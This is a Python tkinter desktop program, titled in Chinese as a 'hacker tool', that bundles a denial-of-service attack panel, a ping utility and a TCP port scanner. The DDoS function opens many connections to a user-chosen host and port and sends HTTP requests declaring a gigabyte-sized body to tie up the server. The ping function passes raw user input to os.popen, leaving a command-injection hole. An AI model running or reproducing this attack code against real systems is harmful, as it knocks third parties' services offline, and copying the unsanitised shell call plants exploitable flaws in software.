import tkinter as tk
from tkinter import messagebox
from tkinter import font
import socket
import time
import os
import threading
class main:
    def __init__(self):
        self.win = tk.Tk()
        self.win.iconbitmap("favicon.ico")
        self.title_font = font.Font(size=20)
        self.ip_font = font.Font(size=10)
        self.port_font = font.Font(size=10)
        self.ping_font = font.Font(size=10)
        self.num_font = font.Font(size=10)
        self.port_font = font.Font(size=10)
        self.win.title("Hacker-tool 图形化工具，完成你的黑客梦想")
        self.win.geometry("1200x600")
        self.win.config(bg="grey")
        self.ddos_text_title = tk.Label(self.win,text="DDoS攻击",fg="white",bg="grey",font=self.title_font)
        self.ddos_text_title.place(x=0,y=0)
        self.ddos_text_ip = tk.Label(self.win,text="被攻击IP：",bg="grey",font=self.ip_font)
        self.ddos_text_ip.place(x=0,y=50)
        self.ddos_entry_ip = tk.Entry()
        self.ddos_entry_ip.place(x=80,y=50)
        self.ddos_text_port = tk.Label(self.win,text="被攻击端口：",bg="grey",font=self.port_font)
        self.ddos_text_port.place(x=0,y=100)
        self.ddos_entry_port = tk.Entry()
        self.ddos_entry_port.place(x=80,y=100)
        self.ddos_text_num = tk.Label(self.win,text="攻击次数：",bg="grey",font=self.num_font)
        self.ddos_text_num.place(x=0,y=150)
        self.ddos_entry_num = tk.Entry()
        self.ddos_entry_num.place(x=80,y=150)
        self.ddos_text_put = tk.Text(width=50,state="disabled",bg="black",fg="white")
        self.ddos_text_put.place(x=0,y=200)
        self.ddos_text_put.config(state="normal")
        self.ddos_text_put.insert(tk.END,"DDoS攻击输出内容\n")
        self.ddos_text_put.config(state="disabled")
        self.ddos_btn_start = tk.Button(self.win,text="开始DDoS攻击",command=self.start_ddos_thread)
        self.ddos_btn_start.place(x=250,y=50)
        self.ping_text_title = tk.Label(self.win,text="Ping",font=self.title_font,fg="white",bg="grey")
        self.ping_text_title.place(x=450,y=0)
        self.ping_text_ip = tk.Label(self.win,text="Ping ip：",font=self.ping_font,bg="grey")
        self.ping_text_ip.place(x=450,y=50)
        self.ping_entry_ip = tk.Entry()
        self.ping_entry_ip.place(x=520,y=50)
        self.ping_btn_ip = tk.Button(self.win,text="开始Ping",command=self.start_ping)
        self.ping_btn_ip.place(x=700,y=50)
        self.ping_text_put = tk.Text(width=40,bg="black",fg="white",state="disabled")
        self.ping_text_put.place(x=450,y=100)
        self.ping_text_put.config(state="normal")
        self.ping_text_put.insert(tk.END,"Ping输出内容\n")
        self.ping_text_put.config(state="disabled")
        self.port_text_title = tk.Label(self.win,text="端口扫描工具",fg="white",bg="grey",font=self.title_font)
        self.port_text_title.place(x=850,y=0)
        self.port_text_ip = tk.Label(self.win,text="扫描的IP：",font=self.port_font,bg="grey")
        self.port_text_ip.place(x=850,y=50)
        self.port_entry_ip = tk.Entry()
        self.port_entry_ip.place(x=930,y=50)
        self.port_text_num_start = tk.Label(self.win,text="扫描起始端口：",bg="grey",font=self.num_font)
        self.port_text_num_start.place(x=850,y=100)
        self.port_text_num_stop = tk.Label(self.win,text="扫描结束端口：",bg="grey",font=self.num_font)
        self.port_text_num_stop.place(x=850,y=150)
        self.port_entry_num_start = tk.Entry()
        self.port_entry_num_start.place(x=950,y=100)
        self.port_entry_num_stop = tk.Entry()
        self.port_entry_num_stop.place(x=950,y=150)
        self.port_btn_start = tk.Button(self.win,text="开始扫描",command = self.t_scan)
        self.port_btn_start.place(x=850,y=200)
        self.port_text_put = tk.Text(width=40,bg="black",fg="white",state ="disabled")
        self.port_text_put.place(x=850,y=250)
        self.ping_text_put.config(state="normal")
        self.ping_text_put.insert(tk.END,"端口扫描输出内容\n")
        self.ping_text_put.config(state="disabled")
        self.win.mainloop()
    def t_scan(self):
        self.scan = threading.Thread(target=self.start_scan)
        self.scan.start()
    def start_scan(self):
        ip = self.port_entry_ip.get()
        port_start = self.port_entry_num_start.get()
        port_stop = self.port_entry_num_stop.get()
        port_start = int(port_start)
        port_stop = int(port_stop)
        self.scan_ports(ip,port_start,port_stop)
    def scan_ports(self,target, start_port, end_port):
        print(f"开始扫描 {target} 上的端口...")
        self.port_text_put.config(state="normal")
        self.port_text_put.insert(tk.END,f"开始扫描 {target} 上的端口...\n")
        self.port_text_put.config(state="disabled")
        for port in range(start_port, end_port + 1):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)    
            result = sock.connect_ex((target, port))
            if result == 0:
                self.port_text_put.config(state="normal")
                self.port_text_put.insert(tk.END,f"端口 {port} 开放\n")
                self.port_text_put.config(state="disabled")
                print(f"端口 {port} 开放")
            sock.close()
    def start_ping(self):
        rt = self.ping()
        print(rt)
        self.ping_text_put.config(state="normal")
        self.ping_text_put.insert(tk.END,rt+"\n")
        self.ping_text_put.config(state="disabled")
        self.ping_text_put.see(tk.END)
    def ping(self):
        ip = self.ping_entry_ip.get()
        rt = os.popen("ping "+ip+" -n 3")
        return rt.read()
    def start_ddos_thread(self):
        self.thread = threading.Thread(target=self.start_ddos)
        self.thread.start()
    def start_ddos(self):
        try:
            ip = self.ddos_entry_ip.get()
            port = self.ddos_entry_port.get()
            port = int(port)
            num = self.ddos_entry_num.get()
            num = int(num)
            self.ddos(ip,port,num)
        except Exception as e:
            messagebox.showerror("DDoS失败","请检查填写是否正确，错误信息：\n"+str(e))
    def ddos(self,ip,port,num):
        global socks
        MAX_CONN = num  # 设置连接的数量
        PORT = port  # 设置端口号 
        HOST = ip  # 设置IP地址
        PAGE = "/DVWA"
        buf = ("GET %s HTTP/1.1\r\n"
            "Host: %s\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
            "Content-Length: 1000000000\r\n"
            "\r\n" % (PAGE, HOST))  # HTTP请求

        socks = []

        def conn_thread():
            global socks
            for i in range(0, MAX_CONN):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    s.connect((HOST, PORT))
                    s.send(bytes(buf, encoding='utf-8'))  # 发送HTTP请求
                    self.ddos_text_put.config(state="normal")
                    self.ddos_text_put.insert(tk.END,"[+] 发送缓冲区正常！连接=%d" % i+"\n")
                    print("[+] 发送缓冲区正常！连接=%d" % i)
                    self.ddos_text_put.config(state="disabled")
                    self.ddos_text_put.see(tk.END)
                    socks.append(s)
                except Exception as ex:
                    self.ddos_text_put.config(state="normal")
                    self.ddos_text_put.insert(tk.END,"[-] 无法连接到服务器或发送错误:%s" % ex+"\n")
                    print("[-] 无法连接到服务器或发送错误:%s" % ex)
                    self.ddos_text_put.config(state="disabled")
                    self.ddos_text_put.see(tk.END)
                    time.sleep(2)

        def send_thread():
            global socks
            for i in range(10):
                for s in socks:
                    try:
                        self.ddos_text_put.insert(tk.END,"[+] 发送缓冲区正常！连接=%d" % i)
                    except Exception as ex:
                        self.ddos_text_put.insert(tk.END,"[-] 无法连接到服务器或发送错误:%s" % ex)
                        socks.remove(s)
                        s.close()
                time.sleep(1)

        conn_th = threading.Thread(target=conn_thread, args=())
        send_th = threading.Thread(target=send_thread, args=())
        conn_th.start()
        send_th.start()
main = main
if __name__ == "__main__":
    main()